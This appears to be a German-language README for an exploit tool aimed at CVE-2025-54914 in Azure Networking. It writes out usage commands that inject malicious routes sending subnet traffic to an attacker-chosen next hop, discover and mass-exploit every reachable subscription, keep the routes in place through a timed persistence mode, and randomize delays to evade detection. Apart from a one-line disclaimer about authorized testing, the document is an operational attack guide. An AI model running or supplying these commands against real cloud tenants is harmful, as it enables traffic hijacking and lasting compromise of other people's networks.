
Exploit für CVE-2025-54914 in Azure Networking, der bösartige Routen mit Umgehung, Persistenz, Multi-Target-Scanning und Berichterstattung für autorisierte Sicherheitstests erstellt.
Dies ist eine verbesserte Implementierung des CVE-2025-54914 Azure Networking Route Exploits. Diese Version behält die Kern-CVE-Funktionalität bei und fügt weitere Funktionen hinzu, darunter Persistenz, Umgehung, Multi-Target-Scanning und Fehlerbehandlung.
# Python-Abhängigkeiten installieren
pip install requests
# Azure CLI installieren (für Authentifizierung)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Skripte ausführbar machen
chmod +x exploit.py
chmod +x exploit_utils.py
# Bei Azure authentifizieren
az login
# Route auf einem einzelnen Ziel erstellen
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Route löschen
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--route-name "exploit-route-1" \
--operation delete
# Konfigurationsdatei erstellen
python exploit_utils.py discover --output targets.json
# Alle Ziele ausnutzen
python exploit.py --targets-file targets.json --operation create
# Ziele ohne Ausnutzung scannen
python exploit.py --targets-file targets.json --scan-only
# Persistenz mit 30-minütigen Intervallen aktivieren
python exploit.py --targets-file targets.json --persistence-mode --interval 30
# Benutzerdefinierte Verzögerungsbereiche für Umgehung
python exploit.py \
--targets-file targets.json \
--delay-min 1.0 \
--delay-max 5.0 \
--max-workers 5
# Test ohne tatsächliche Ausnutzung
python exploit.py --targets-file targets.json --dry-run
# Debug-Logging aktivieren
python exploit.py \
--targets-file targets.json \
--log-level DEBUG \
--log-file exploit.log
{
"targets": [
{
"subscription_id": "12345678-1234-1234-1234-123456789012",
"resource_group": "production-rg",
"vnet_name": "prod-vnet",
"subnet_name": "prod-subnet",
"route_name": "exploit-route-1",
"address_prefix": "10.0.1.0/24",
"next_hop_type": "VirtualAppliance",
"next_hop_ip": "10.0.2.5",
"api_version": "2025-09-01",
"priority": 1
}
],
"metadata": {
"description": "Target configuration for CVE-2025-54914",
"created": "2025-01-09",
"version": "1.0"
}
}
# Azure-Zugriffstoken (Alternative zu Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"
# Log-Level
export LOG_LEVEL="INFO"
# Alle zugänglichen Ziele erkennen
python exploit_utils.py discover --output discovered_targets.json
# Bestimmte Abonnements erkennen
python exploit_utils.py discover \
--subscription-ids "sub1" "sub2" \
--output targets.json \
--report discovery_report.txt
# Exploit-Konfiguration aus erkannten Zielen generieren
python exploit_utils.py config \
--input discovered_targets.json \
--output exploit_config.json \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Ziele zur Risikobewertung analysieren
python exploit_utils.py analyze \
--input targets.json \
--output vulnerability_report.txt
--dry-run testen--max-workers je nach Systemkapazität anpassen# Erneut bei Azure authentifizieren
az login
# Aktuelles Konto prüfen
az account show
# Zugängliche Abonnements auflisten
az account list
# Erforderliche Berechtigungen prüfen
az role assignment list --assignee $(az account show --query user.name -o tsv)
# Konnektivität testen
curl -I https://management.azure.com
# Proxy-Einstellungen prüfen
echo $HTTP_PROXY
echo $HTTPS_PROXY
# Detailliertes Logging aktivieren
python exploit.py --log-level DEBUG --log-file debug.log
# Protokolldatei überprüfen
tail -f debug.log
⚠️ WICHTIG: Dieses Tool ist nur für autorisierte Sicherheitstests.
Dieses Projekt ist nur für Forschungs- und Bildungszwecke lizenziert. Kommerzielle Nutzung erfordert ausdrückliche Genehmigung.
Bei Problemen und Fragen: